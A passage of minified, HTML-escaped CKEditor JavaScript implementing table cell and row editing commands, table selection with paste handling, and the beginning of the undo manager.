{},{contextSensitive:1,refresh:function(a,b){this.setState(b.contains({td:1,th:1},1)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED)}})}function b(a,b){var c=d.addCommand(a,b);d.addFeature(c)}var c=d.lang.table,e=CKEDITOR.tools.style.parse;b(&quot;cellProperties&quot;,new CKEDITOR.dialogCommand(&quot;cellProperties&quot;,f({allowedContent:&quot;td th{width,height,border-color,background-color,white-space,vertical-align,text-align}[colspan,rowspan]&quot;,requiredContent:&quot;table&quot;,contentTransformations:[[{element:&quot;td&quot;,left:function(a){return a.styles.background&amp;&amp;
e.background(a.styles.background).color},right:function(a){a.styles[&quot;background-color&quot;]=e.background(a.styles.background).color}},{element:&quot;td&quot;,check:&quot;td{vertical-align}&quot;,left:function(a){return a.attributes&amp;&amp;a.attributes.valign},right:function(a){a.styles[&quot;vertical-align&quot;]=a.attributes.valign;delete a.attributes.valign}}],[{element:&quot;tr&quot;,check:&quot;td{height}&quot;,left:function(a){return a.styles&amp;&amp;a.styles.height},right:function(a){CKEDITOR.tools.array.forEach(a.children,function(b){b.name in{td:1,th:1}&amp;&amp;
(b.attributes[&quot;cke-row-height&quot;]=a.styles.height)});delete a.styles.height}}],[{element:&quot;td&quot;,check:&quot;td{height}&quot;,left:function(a){return(a=a.attributes)&amp;&amp;a[&quot;cke-row-height&quot;]},right:function(a){a.styles.height=a.attributes[&quot;cke-row-height&quot;];delete a.attributes[&quot;cke-row-height&quot;]}}]]})));CKEDITOR.dialog.add(&quot;cellProperties&quot;,this.path+&quot;dialogs/tableCell.js&quot;);b(&quot;rowDelete&quot;,f({requiredContent:&quot;table&quot;,exec:function(a){a=a.getSelection();(a=B(a))&amp;&amp;p(a)}}));b(&quot;rowInsertBefore&quot;,f({requiredContent:&quot;table&quot;,exec:function(a){a=
a.getSelection();a=q(a);r(a,!0)}}));b(&quot;rowInsertAfter&quot;,f({requiredContent:&quot;table&quot;,exec:function(a){a=a.getSelection();a=q(a);r(a)}}));b(&quot;columnDelete&quot;,f({requiredContent:&quot;table&quot;,exec:function(a){a=a.getSelection();(a=y(a))&amp;&amp;p(a,!0)}}));b(&quot;columnInsertBefore&quot;,f({requiredContent:&quot;table&quot;,exec:function(a){a=a.getSelection();a=q(a);u(a,!0)}}));b(&quot;columnInsertAfter&quot;,f({requiredContent:&quot;table&quot;,exec:function(a){a=a.getSelection();a=q(a);u(a)}}));b(&quot;cellDelete&quot;,f({requiredContent:&quot;table&quot;,exec:function(a){a=
a.getSelection();z(a)}}));b(&quot;cellMerge&quot;,f({allowedContent:&quot;td[colspan,rowspan]&quot;,requiredContent:&quot;td[colspan,rowspan]&quot;,exec:function(a,b){b.cell=x(a.getSelection());p(b.cell,!0)}}));b(&quot;cellMergeRight&quot;,f({allowedContent:&quot;td[colspan]&quot;,requiredContent:&quot;td[colspan]&quot;,exec:function(a,b){b.cell=x(a.getSelection(),&quot;right&quot;);p(b.cell,!0)}}));b(&quot;cellMergeDown&quot;,f({allowedContent:&quot;td[rowspan]&quot;,requiredContent:&quot;td[rowspan]&quot;,exec:function(a,b){b.cell=x(a.getSelection(),&quot;down&quot;);p(b.cell,!0)}}));b(&quot;cellVerticalSplit&quot;,
f({allowedContent:&quot;td[rowspan]&quot;,requiredContent:&quot;td[rowspan]&quot;,exec:function(a){p(E(a.getSelection()))}}));b(&quot;cellHorizontalSplit&quot;,f({allowedContent:&quot;td[colspan]&quot;,requiredContent:&quot;td[colspan]&quot;,exec:function(a){p(C(a.getSelection()))}}));b(&quot;cellInsertBefore&quot;,f({requiredContent:&quot;table&quot;,exec:function(a){a=a.getSelection();t(a,!0)}}));b(&quot;cellInsertAfter&quot;,f({requiredContent:&quot;table&quot;,exec:function(a){a=a.getSelection();t(a)}}));d.addMenuItems&amp;&amp;d.addMenuItems({tablecell:{label:c.cell.menu,group:&quot;tablecell&quot;,
order:1,getItems:function(){var a=d.getSelection(),b=q(a);return{tablecell_insertBefore:CKEDITOR.TRISTATE_OFF,tablecell_insertAfter:CKEDITOR.TRISTATE_OFF,tablecell_delete:CKEDITOR.TRISTATE_OFF,tablecell_merge:x(a,null,!0)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,tablecell_merge_right:x(a,&quot;right&quot;,!0)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,tablecell_merge_down:x(a,&quot;down&quot;,!0)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,tablecell_split_vertical:E(a,!0)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,
tablecell_split_horizontal:C(a,!0)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,tablecell_properties:0&lt;b.length?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED}}},tablecell_insertBefore:{label:c.cell.insertBefore,group:&quot;tablecell&quot;,command:&quot;cellInsertBefore&quot;,order:5},tablecell_insertAfter:{label:c.cell.insertAfter,group:&quot;tablecell&quot;,command:&quot;cellInsertAfter&quot;,order:10},tablecell_delete:{label:c.cell.deleteCell,group:&quot;tablecell&quot;,command:&quot;cellDelete&quot;,order:15},tablecell_merge:{label:c.cell.merge,
group:&quot;tablecell&quot;,command:&quot;cellMerge&quot;,order:16},tablecell_merge_right:{label:c.cell.mergeRight,group:&quot;tablecell&quot;,command:&quot;cellMergeRight&quot;,order:17},tablecell_merge_down:{label:c.cell.mergeDown,group:&quot;tablecell&quot;,command:&quot;cellMergeDown&quot;,order:18},tablecell_split_horizontal:{label:c.cell.splitHorizontal,group:&quot;tablecell&quot;,command:&quot;cellHorizontalSplit&quot;,order:19},tablecell_split_vertical:{label:c.cell.splitVertical,group:&quot;tablecell&quot;,command:&quot;cellVerticalSplit&quot;,order:20},tablecell_properties:{label:c.cell.title,
group:&quot;tablecellproperties&quot;,command:&quot;cellProperties&quot;,order:21},tablerow:{label:c.row.menu,group:&quot;tablerow&quot;,order:1,getItems:function(){return{tablerow_insertBefore:CKEDITOR.TRISTATE_OFF,tablerow_insertAfter:CKEDITOR.TRISTATE_OFF,tablerow_delete:CKEDITOR.TRISTATE_OFF}}},tablerow_insertBefore:{label:c.row.insertBefore,group:&quot;tablerow&quot;,command:&quot;rowInsertBefore&quot;,order:5},tablerow_insertAfter:{label:c.row.insertAfter,group:&quot;tablerow&quot;,command:&quot;rowInsertAfter&quot;,order:10},tablerow_delete:{label:c.row.deleteRow,
group:&quot;tablerow&quot;,command:&quot;rowDelete&quot;,order:15},tablecolumn:{label:c.column.menu,group:&quot;tablecolumn&quot;,order:1,getItems:function(){return{tablecolumn_insertBefore:CKEDITOR.TRISTATE_OFF,tablecolumn_insertAfter:CKEDITOR.TRISTATE_OFF,tablecolumn_delete:CKEDITOR.TRISTATE_OFF}}},tablecolumn_insertBefore:{label:c.column.insertBefore,group:&quot;tablecolumn&quot;,command:&quot;columnInsertBefore&quot;,order:5},tablecolumn_insertAfter:{label:c.column.insertAfter,group:&quot;tablecolumn&quot;,command:&quot;columnInsertAfter&quot;,order:10},tablecolumn_delete:{label:c.column.deleteColumn,
group:&quot;tablecolumn&quot;,command:&quot;columnDelete&quot;,order:15}});d.contextMenu&amp;&amp;d.contextMenu.addListener(function(a,b,c){return(a=c.contains({td:1,th:1},1))&amp;&amp;!a.isReadOnly()?{tablecell:CKEDITOR.TRISTATE_OFF,tablerow:CKEDITOR.TRISTATE_OFF,tablecolumn:CKEDITOR.TRISTATE_OFF}:null})},getCellColIndex:v,insertRow:r,insertColumn:u,getSelectedCells:q};CKEDITOR.plugins.add(&quot;tabletools&quot;,CKEDITOR.plugins.tabletools)})();
CKEDITOR.tools.buildTableMap=function(q,r,B,v,w){q=q.$.rows;B=B||0;v=&quot;number&quot;===typeof v?v:q.length-1;w=&quot;number&quot;===typeof w?w:-1;var u=-1,y=[];for(r=r||0;r&lt;=v;r++){u++;!y[u]&amp;&amp;(y[u]=[]);for(var t=-1,z=B;z&lt;=(-1===w?q[r].cells.length-1:w);z++){var p=q[r].cells[z];if(!p)break;for(t++;y[u][t];)t++;for(var A=isNaN(p.colSpan)?1:p.colSpan,p=isNaN(p.rowSpan)?1:p.rowSpan,x=0;x&lt;p&amp;&amp;!(r+x&gt;v);x++){y[u+x]||(y[u+x]=[]);for(var C=0;C&lt;A;C++)y[u+x][t+C]=q[r].cells[z]}t+=A-1;if(-1!==w&amp;&amp;t&gt;=w)break}}return y};(function(){function D(a){return CKEDITOR.plugins.widget&amp;&amp;CKEDITOR.plugins.widget.isDomWidget(a)}function z(a,b){var c=a.getAscendant(&quot;table&quot;),d=b.getAscendant(&quot;table&quot;),e=CKEDITOR.tools.buildTableMap(c),g=r(a),h=r(b),k=[],f={},l,p;c.contains(d)&amp;&amp;(b=b.getAscendant({td:1,th:1}),h=r(b));g&gt;h&amp;&amp;(c=g,g=h,h=c,c=a,a=b,b=c);for(c=0;c&lt;e[g].length;c++)if(a.$===e[g][c]){l=c;break}for(c=0;c&lt;e[h].length;c++)if(b.$===e[h][c]){p=c;break}l&gt;p&amp;&amp;(c=l,l=p,p=c);for(c=g;c&lt;=h;c++)for(g=l;g&lt;=p;g++)d=new CKEDITOR.dom.element(e[c][g]),
d.$&amp;&amp;!d.getCustomData(&quot;selected_cell&quot;)&amp;&amp;(k.push(d),CKEDITOR.dom.element.setMarker(f,d,&quot;selected_cell&quot;,!0));CKEDITOR.dom.element.clearAllMarkers(f);return k}function I(a){if(a)return a=a.clone(),a.enlarge(CKEDITOR.ENLARGE_ELEMENT),(a=a.getEnclosedNode())&amp;&amp;a.is&amp;&amp;a.is(CKEDITOR.dtd.$tableContent)}function J(a){return(a=a.editable().findOne(&quot;.cke_table-faked-selection&quot;))&amp;&amp;a.getAscendant(&quot;table&quot;)}function A(a,b){var c=a.editable().find(&quot;.cke_table-faked-selection&quot;),d;a.fire(&quot;lockSnapshot&quot;);a.editable().removeClass(&quot;cke_table-faked-selection-editor&quot;);
for(d=0;d&lt;c.count();d++)c.getItem(d).removeClass(&quot;cke_table-faked-selection&quot;);0&lt;c.count()&amp;&amp;c.getItem(0).getAscendant(&quot;table&quot;).data(&quot;cke-table-faked-selection-table&quot;,!1);a.fire(&quot;unlockSnapshot&quot;);b&amp;&amp;(m={active:!1},a.getSelection().isInTable()&amp;&amp;a.getSelection().reset())}function t(a,b){var c=[],d,e;for(e=0;e&lt;b.length;e++)d=a.createRange(),d.setStartBefore(b[e]),d.setEndAfter(b[e]),c.push(d);a.getSelection().selectRanges(c)}function K(a){var b=a.editable().find(&quot;.cke_table-faked-selection&quot;);1&gt;b.count()||
(b=z(b.getItem(0),b.getItem(b.count()-1)),t(a,b))}function L(a,b,c){var d=v(a.getSelection(!0));b=b.is(&quot;table&quot;)?null:b;var e;(e=m.active&amp;&amp;!m.first)&amp;&amp;!(e=b)&amp;&amp;(e=a.getSelection().getRanges(),e=1&lt;d.length||e[0]&amp;&amp;!e[0].collapsed?!0:!1);if(e)m.first=b||d[0],m.dirty=b?!1:1!==d.length;else if(m.active&amp;&amp;b&amp;&amp;m.first.getAscendant(&quot;table&quot;).equals(b.getAscendant(&quot;table&quot;))){d=z(m.first,b);if(!m.dirty&amp;&amp;1===d.length&amp;&amp;!D(c.data.getTarget()))return A(a,&quot;mouseup&quot;===c.name);m.dirty=!0;m.last=b;t(a,d)}}function M(a){var b=
(a=a.editor||a.sender.editor)&amp;&amp;a.getSelection(),c=b&amp;&amp;b.getRanges()||[],d;if(b&amp;&amp;(A(a),b.isInTable()&amp;&amp;b.isFake)){1===c.length&amp;&amp;c[0]._getTableElement()&amp;&amp;c[0]._getTableElement().is(&quot;table&quot;)&amp;&amp;(d=c[0]._getTableElement());d=v(b,d);a.fire(&quot;lockSnapshot&quot;);for(b=0;b&lt;d.length;b++)d[b].addClass(&quot;cke_table-faked-selection&quot;);0&lt;d.length&amp;&amp;(a.editable().addClass(&quot;cke_table-faked-selection-editor&quot;),d[0].getAscendant(&quot;table&quot;).data(&quot;cke-table-faked-selection-table&quot;,&quot;&quot;));a.fire(&quot;unlockSnapshot&quot;)}}function r(a){return a.getAscendant(&quot;tr&quot;,
!0).$.rowIndex}function w(a){function b(a,b){return a&amp;&amp;b?a.equals(b)||a.contains(b)||b.contains(a)||a.getCommonAncestor(b).is(l):!1}function c(a){return!a.getAscendant(&quot;table&quot;,!0)&amp;&amp;a.getDocument().equals(e.document)}function d(a,b,d,e){if(&quot;mousedown&quot;===a.name&amp;&amp;(CKEDITOR.tools.getMouseButton(a)===CKEDITOR.MOUSE_BUTTON_LEFT||!e))return!0;if(b=a.name===(CKEDITOR.env.gecko?&quot;mousedown&quot;:&quot;mouseup&quot;)&amp;&amp;!c(a.data.getTarget()))a=a.data.getTarget().getAscendant({td:1,th:1},!0),b=!(a&amp;&amp;a.hasClass(&quot;cke_table-faked-selection&quot;));
return b}if(a.data.getTarget().getName&amp;&amp;(&quot;mouseup&quot;===a.name||!D(a.data.getTarget()))){var e=a.editor||a.listenerData.editor,g=e.getSelection(1),h=J(e),k=a.data.getTarget(),f=k&amp;&amp;k.getAscendant({td:1,th:1},!0),k=k&amp;&amp;k.getAscendant(&quot;table&quot;,!0),l={table:1,thead:1,tbody:1,tfoot:1,tr:1,td:1,th:1};d(a,g,h,k)&amp;&amp;A(e,!0);!m.active&amp;&amp;&quot;mousedown&quot;===a.name&amp;&amp;CKEDITOR.tools.getMouseButton(a)===CKEDITOR.MOUSE_BUTTON_LEFT&amp;&amp;k&amp;&amp;(m={active:!0},CKEDITOR.document.on(&quot;mouseup&quot;,w,null,{editor:e}));(f||k)&amp;&amp;L(e,f||k,a);&quot;mouseup&quot;===
a.name&amp;&amp;(CKEDITOR.tools.getMouseButton(a)===CKEDITOR.MOUSE_BUTTON_LEFT&amp;&amp;(c(a.data.getTarget())||b(h,k))&amp;&amp;K(e),m={active:!1},CKEDITOR.document.removeListener(&quot;mouseup&quot;,w))}}function N(a){var b=a.data.getTarget().getAscendant({td:1,th:1},!0);b&amp;&amp;!b.hasClass(&quot;cke_table-faked-selection&quot;)&amp;&amp;(a.cancel(),a.data.preventDefault())}function O(a,b){function c(a){a.cancel()}var d=a.getSelection(),e=d.createBookmarks(),g=a.document,h=a.createRange(),k=g.getDocumentElement().$,f=CKEDITOR.env.ie&amp;&amp;9&gt;CKEDITOR.env.version,
l=a.blockless||CKEDITOR.env.ie?&quot;span&quot;:&quot;div&quot;,p,x,n,m;g.getById(&quot;cke_table_copybin&quot;)||(p=g.createElement(l),x=g.createElement(l),x.setAttributes({id:&quot;cke_table_copybin&quot;,&quot;data-cke-temp&quot;:&quot;1&quot;}),p.setStyles({position:&quot;absolute&quot;,width:&quot;1px&quot;,height:&quot;1px&quot;,overflow:&quot;hidden&quot;}),p.setStyle(&quot;ltr&quot;==a.config.contentsLangDirection?&quot;left&quot;:&quot;right&quot;,&quot;-5000px&quot;),p.setHtml(a.getSelectedHtml(!0)),a.fire(&quot;lockSnapshot&quot;),x.append(p),a.editable().append(x),m=a.on(&quot;selectionChange&quot;,c,null,null,0),f&amp;&amp;(n=k.scrollTop),h.selectNodeContents(p),
h.select(),f&amp;&amp;(k.scrollTop=n),setTimeout(function(){x.remove();d.selectBookmarks(e);m.removeListener();a.fire(&quot;unlockSnapshot&quot;);b&amp;&amp;(a.extractSelectedHtml(),a.fire(&quot;saveSnapshot&quot;))},100))}function E(a){var b=a.editor||a.sender.editor;b.getSelection().isInTable()&amp;&amp;O(b,&quot;cut&quot;===a.name)}function q(a){this._reset();a&amp;&amp;this.setSelectedCells(a)}function B(a,b,c){a.on(&quot;beforeCommandExec&quot;,function(d){-1!==CKEDITOR.tools.array.indexOf(b,d.data.name)&amp;&amp;(d.data.selectedCells=v(a.getSelection()))});a.on(&quot;afterCommandExec&quot;,
function(d){-1!==CKEDITOR.tools.array.indexOf(b,d.data.name)&amp;&amp;c(a,d.data)})}var m={active:!1},y,v,C,F,G;q.prototype={};q.prototype._reset=function(){this.cells={first:null,last:null,all:[]};this.rows={first:null,last:null}};q.prototype.setSelectedCells=function(a){this._reset();a=a.slice(0);this._arraySortByDOMOrder(a);this.cells.all=a;this.cells.first=a[0];this.cells.last=a[a.length-1];this.rows.first=a[0].getAscendant(&quot;tr&quot;);this.rows.last=this.cells.last.getAscendant(&quot;tr&quot;)};q.prototype.getTableMap=
function(){var a=C(this.cells.first),b;a:{b=this.cells.last;var c=b.getAscendant(&quot;table&quot;),d=r(b),c=CKEDITOR.tools.buildTableMap(c),e;for(e=0;e&lt;c[d].length;e++)if((new CKEDITOR.dom.element(c[d][e])).equals(b)){b=e;break a}b=void 0}return CKEDITOR.tools.buildTableMap(this._getTable(),r(this.rows.first),a,r(this.rows.last),b)};q.prototype._getTable=function(){return this.rows.first.getAscendant(&quot;table&quot;)};q.prototype.insertRow=function(a,b,c){if(&quot;undefined&quot;===typeof a)a=1;else if(0&gt;=a)return;for(var d=
this.cells.first.$.cellIndex,e=this.cells.last.$.cellIndex,g=c?[]:this.cells.all,h,k=0;k&lt;a;k++)h=F(c?this.cells.all:g,b),h=CKEDITOR.tools.array.filter(h.find(&quot;td, th&quot;).toArray(),function(a){return c?!0:a.$.cellIndex&gt;=d&amp;&amp;a.$.cellIndex&lt;=e}),g=b?h.concat(g):g.concat(h);this.setSelectedCells(g)};q.prototype.insertColumn=function(a){function b(a){a=r(a);return a&gt;=e&amp;&amp;a&lt;=g}if(&quot;undefined&quot;===typeof a)a=1;else if(0&gt;=a)return;for(var c=this.cells,d=c.all,e=r(c.first),g=r(c.last),c=0;c&lt;a;c++)d=d.concat(CKEDITOR.tools.array.filter(G(d),
b));this.setSelectedCells(d)};q.prototype.emptyCells=function(a){a=a||this.cells.all;for(var b=0;b&lt;a.length;b++)a[b].setHtml(&quot;&quot;)};q.prototype._arraySortByDOMOrder=function(a){a.sort(function(a,c){return a.getPosition(c)&amp;CKEDITOR.POSITION_PRECEDING?-1:1})};var H={onPaste:function(a){function b(a){return Math.max.apply(null,CKEDITOR.tools.array.map(a,function(a){return a.length},0))}function c(a){var b=d.createRange();b.selectNodeContents(a);b.select()}var d=a.editor,e=d.getSelection(),g=v(e),h=this.findTableInPastedContent(d,
a.data.dataValue),k=e.isInTable(!0)&amp;&amp;this.isBoundarySelection(e),f,l;!g.length||1===g.length&amp;&amp;!I(e.getRanges()[0])&amp;&amp;!k||k&amp;&amp;!h||(g=g[0].getAscendant(&quot;table&quot;),f=new q(v(e,g)),d.once(&quot;afterPaste&quot;,function(){var a;if(l){a=new CKEDITOR.dom.element(l[0][0]);var b=l[l.length-1];a=z(a,new CKEDITOR.dom.element(b[b.length-1]))}else a=f.cells.all;t(d,a)}),h?(a.stop(),k?(f.insertRow(1,1===k,!0),e.selectElement(f.rows.first)):(f.emptyCells(),t(d,f.cells.all)),a=f.getTableMap(),l=CKEDITOR.tools.buildTableMap(h),
f.insertRow(l.length-a.length),f.insertColumn(b(l)-b(a)),a=f.getTableMap(),this.pasteTable(f,a,l),d.fire(&quot;saveSnapshot&quot;),setTimeout(function(){d.fire(&quot;afterPaste&quot;)},0)):(c(f.cells.first),d.once(&quot;afterPaste&quot;,function(){d.fire(&quot;lockSnapshot&quot;);f.emptyCells(f.cells.all.slice(1));t(d,f.cells.all);d.fire(&quot;unlockSnapshot&quot;)})))},isBoundarySelection:function(a){a=a.getRanges()[0];var b=a.endContainer.getAscendant(&quot;tr&quot;,!0);if(b&amp;&amp;a.collapsed){if(a.checkBoundaryOfElement(b,CKEDITOR.START))return 1;if(a.checkBoundaryOfElement(b,
CKEDITOR.END))return 2}return 0},findTableInPastedContent:function(a,b){var c=a.dataProcessor,d=new CKEDITOR.dom.element(&quot;body&quot;);c||(c=new CKEDITOR.htmlDataProcessor(a));d.setHtml(c.toHtml(b),{fixForBody:!1});return 1&lt;d.getChildCount()?null:d.findOne(&quot;table&quot;)},pasteTable:function(a,b,c){var d,e=C(a.cells.first),g=a._getTable(),h={},k,f,l,p;for(l=0;l&lt;c.length;l++)for(k=new CKEDITOR.dom.element(g.$.rows[a.rows.first.$.rowIndex+l]),p=0;p&lt;c[l].length;p++)if(f=new CKEDITOR.dom.element(c[l][p]),d=b[l]&amp;&amp;
b[l][p]?new CKEDITOR.dom.element(b[l][p]):null,f&amp;&amp;!f.getCustomData(&quot;processed&quot;)){if(d&amp;&amp;d.getParent())f.replace(d);else if(0===p||c[l][p-1])(d=0!==p?new CKEDITOR.dom.element(c[l][p-1]):null)&amp;&amp;k.equals(d.getParent())?f.insertAfter(d):0&lt;e?k.$.cells[e]?f.insertAfter(new CKEDITOR.dom.element(k.$.cells[e])):k.append(f):k.append(f,!0);CKEDITOR.dom.element.setMarker(h,f,&quot;processed&quot;,!0)}else f.getCustomData(&quot;processed&quot;)&amp;&amp;d&amp;&amp;d.remove();CKEDITOR.dom.element.clearAllMarkers(h)}};CKEDITOR.plugins.tableselection=
{getCellsBetween:z,keyboardIntegration:function(a){function b(a){var b=a.getEnclosedNode();b&amp;&amp;&quot;function&quot;===typeof b.is&amp;&amp;b.is({td:1,th:1})?b.setText(&quot;&quot;):a.deleteContents();CKEDITOR.tools.array.forEach(a._find(&quot;td&quot;),function(a){a.appendBogus()})}var c=a.editable();c.attachListener(c,&quot;keydown&quot;,function(a){function c(b,e){if(!e.length)return null;var l=a.createRange(),g=CKEDITOR.dom.range.mergeRanges(e);CKEDITOR.tools.array.forEach(g,function(a){a.enlarge(CKEDITOR.ENLARGE_ELEMENT)});var m=g[0].getBoundaryNodes(),
n=m.startNode,m=m.endNode;if(n&amp;&amp;n.is&amp;&amp;n.is(h)){for(var q=n.getAscendant(&quot;table&quot;,!0),u=n.getPreviousSourceNode(!1,CKEDITOR.NODE_ELEMENT,q),r=!1,t=function(a){return!n.contains(a)&amp;&amp;a.is&amp;&amp;a.is(&quot;td&quot;,&quot;th&quot;)};u&amp;&amp;!t(u);)u=u.getPreviousSourceNode(!1,CKEDITOR.NODE_ELEMENT,q);!u&amp;&amp;m&amp;&amp;m.is&amp;&amp;!m.is(&quot;table&quot;)&amp;&amp;m.getNext()&amp;&amp;(u=m.getNext().findOne(&quot;td, th&quot;),r=!0);if(u)l[&quot;moveToElementEdit&quot;+(r?&quot;Start&quot;:&quot;End&quot;)](u);else l.setStartBefore(n.getAscendant(&quot;table&quot;,!0)),l.collapse(!0);g[0].deleteContents();return[l]}if(n)return l.moveToElementEditablePosition(n),
[l]}var g={37:1,38:1,39:1,40:1,8:1,46:1,13:1},h=CKEDITOR.tools.extend({table:1},CKEDITOR.dtd.$tableContent);delete h.td;delete h.th;return function(k){var f=k.data.getKey(),l=k.data.getKeystroke(),h,m=37===f||38==f,n,q,r;if(g[f]&amp;&amp;!a.readOnly&amp;&amp;(h=a.getSelection())&amp;&amp;h.isInTable()&amp;&amp;h.isFake){n=h.getRanges();q=n[0]._getTableElement();r=n[n.length-1]._getTableElement();if(13!==f||a.plugins.enterkey)k.data.preventDefault(),k.cancel();if(36&lt;f&amp;&amp;41&gt;f)n[0].moveToElementEditablePosition(m?q:r,!m),h.selectRanges([n[0]]);
else if(13!==f||13===l||l===CKEDITOR.SHIFT+13){for(k=0;k&lt;n.length;k++)b(n[k]);(k=c(q,n))?n=k:n[0].moveToElementEditablePosition(q);h.selectRanges(n);13===f&amp;&amp;a.plugins.enterkey?(a.fire(&quot;lockSnapshot&quot;),13===l?a.execCommand(&quot;enter&quot;):a.execCommand(&quot;shiftEnter&quot;),a.fire(&quot;unlockSnapshot&quot;),a.fire(&quot;saveSnapshot&quot;)):13!==f&amp;&amp;a.fire(&quot;saveSnapshot&quot;)}}}}(a),null,null,-1);c.attachListener(c,&quot;keypress&quot;,function(d){var c=a.getSelection(),g=d.data.$.charCode||13===d.data.getKey(),h;if(!a.readOnly&amp;&amp;c&amp;&amp;c.isInTable()&amp;&amp;
c.isFake&amp;&amp;g&amp;&amp;!(d.data.getKeystroke()&amp;CKEDITOR.CTRL)){d=c.getRanges();g=d[0].getEnclosedNode().getAscendant({td:1,th:1},!0);for(h=0;h&lt;d.length;h++)b(d[h]);g&amp;&amp;(d[0].moveToElementEditablePosition(g),c.selectRanges([d[0]]))}},null,null,-1)},isSupportedEnvironment:!(CKEDITOR.env.ie&amp;&amp;11&gt;CKEDITOR.env.version)};CKEDITOR.plugins.add(&quot;tableselection&quot;,{requires:&quot;clipboard,tabletools&quot;,onLoad:function(){y=CKEDITOR.plugins.tabletools;v=y.getSelectedCells;C=y.getCellColIndex;F=y.insertRow;G=y.insertColumn;CKEDITOR.document.appendStyleSheet(this.path+
&quot;styles/tableselection.css&quot;)},init:function(a){CKEDITOR.plugins.tableselection.isSupportedEnvironment&amp;&amp;(a.addContentsCss&amp;&amp;a.addContentsCss(this.path+&quot;styles/tableselection.css&quot;),a.on(&quot;contentDom&quot;,function(){var b=a.editable(),c=b.isInline()?b:a.document,d={editor:a};b.attachListener(c,&quot;mousedown&quot;,w,null,d);b.attachListener(c,&quot;mousemove&quot;,w,null,d);b.attachListener(c,&quot;mouseup&quot;,w,null,d);b.attachListener(b,&quot;dragstart&quot;,N);b.attachListener(a,&quot;selectionCheck&quot;,M);CKEDITOR.plugins.tableselection.keyboardIntegration(a);
CKEDITOR.plugins.clipboard&amp;&amp;!CKEDITOR.plugins.clipboard.isCustomCopyCutSupported&amp;&amp;(b.attachListener(b,&quot;cut&quot;,E),b.attachListener(b,&quot;copy&quot;,E))}),a.on(&quot;paste&quot;,H.onPaste,H),B(a,&quot;rowInsertBefore rowInsertAfter columnInsertBefore columnInsertAfter cellInsertBefore cellInsertAfter&quot;.split(&quot; &quot;),function(a,c){t(a,c.selectedCells)}),B(a,[&quot;cellMerge&quot;,&quot;cellMergeRight&quot;,&quot;cellMergeDown&quot;],function(a,c){t(a,[c.commandData.cell])}),B(a,[&quot;cellDelete&quot;],function(a){A(a,!0)}))}})})();(function(){var g=[CKEDITOR.CTRL+90,CKEDITOR.CTRL+89,CKEDITOR.CTRL+CKEDITOR.SHIFT+90],n={8:1,46:1};CKEDITOR.plugins.add(&quot;undo&quot;,{init:function(a){function b(a){d.enabled&amp;&amp;!1!==a.data.command.canUndo&amp;&amp;d.save()}function c(){d.enabled=a.readOnly?!1:&quot;wysiwyg&quot;==a.mode;d.onChange()}var d=a.undoManager=new e(a),l=d.editingHandler=new k(d),f=a.addCommand(&quot;undo&quot;,{exec:function(){d.undo()&amp;&amp;(a.selectionChange(),this.fire(&quot;afterUndo&quot;))},startDisabled:!0,canUndo:!1}),h=a.addCommand(&quot;redo&quot;,{exec:function(){d.redo()&amp;&amp;
(a.selectionChange(),this.fire(&quot;afterRedo&quot;))},startDisabled:!0,canUndo:!1});a.setKeystroke([[g[0],&quot;undo&quot;],[g[1],&quot;redo&quot;],[g[2],&quot;redo&quot;]]);d.onChange=function(){f.setState(d.undoable()?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED);h.setState(d.redoable()?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED)};a.on(&quot;beforeCommandExec&quot;,b);a.on(&quot;afterCommandExec&quot;,b);a.on(&quot;saveSnapshot&quot;,function(a){d.save(a.data&amp;&amp;a.data.contentOnly)});a.on(&quot;contentDom&quot;,l.attachListeners,l);a.on(&quot;instanceReady&quot;,function(){a.fire(&quot;saveSnapshot&quot;)});
a.on(&quot;beforeModeUnload&quot;,function(){&quot;wysiwyg&quot;==a.mode&amp;&amp;d.save(!0)});a.on(&quot;mode&quot;,c);a.on(&quot;readOnly&quot;,c);a.ui.addButton&amp;&amp;(a.ui.addButton(&quot;Undo&quot;,{label:a.lang.undo.undo,command:&quot;undo&quot;,toolbar:&quot;undo,10&quot;}),a.ui.addButton(&quot;Redo&quot;,{label:a.lang.undo.redo,command:&quot;redo&quot;,toolbar:&quot;undo,20&quot;}));a.resetUndo=function(){d.reset();a.fire(&quot;saveSnapshot&quot;)};a.on(&quot;updateSnapshot&quot;,function(){d.currentImage&amp;&amp;d.update()});a.on(&quot;lockSnapshot&quot;,function(a){a=a.data;d.lock(a&amp;&amp;a.dontUpdate,a&amp;&amp;a.forceUpdate)});a.on(&quot;unlockSnapshot&quot;,
d.unlock,d)}});CKEDITOR.plugins.undo={};var e=CKEDITOR.plugins.undo.UndoManager=function(a){this.strokesRecorded=[0,0];this.locked=null;this.previousKeyGroup=-1;this.limit=a.config.undoStackSize||20;this.strokesLimit=25;this.editor=a;this.reset()};e.prototype={type:function(a,b){var c=e.getKeyGroup(a),d=this.strokesRecorded[c]+1;b=b||d&gt;=this.strokesLimit;this.typing||(this.hasUndo=this.typing=!0,this.hasRedo=!1,this.onChange());b?(d=0,this.editor.fire(&quot;saveSnapshot&quot;)):this.editor.fire(&quot;change&quot;);this.strokesRecorded[c]=
d;this.previousKeyGroup=c},keyGroupChanged:function(a){return e.getKeyGroup(a)!=this.previousKeyGroup},reset:function(){this.snapshots=[];this.index=-1;this.currentImage=null;this.hasRedo=this.hasUndo=!1;this.locked=null;this.resetType()},resetType:function(){this.strokesRecorded=[0,0];this.typing=!1;this.previousKeyGroup=-1},refreshState:function(){this.hasUndo=!!this.getNextImage(!0);this.hasRedo=!!this.getNextImage(!1);this.resetType();this.onChange()},save:function(a,b,c){var d=this.editor;if(this.locked||
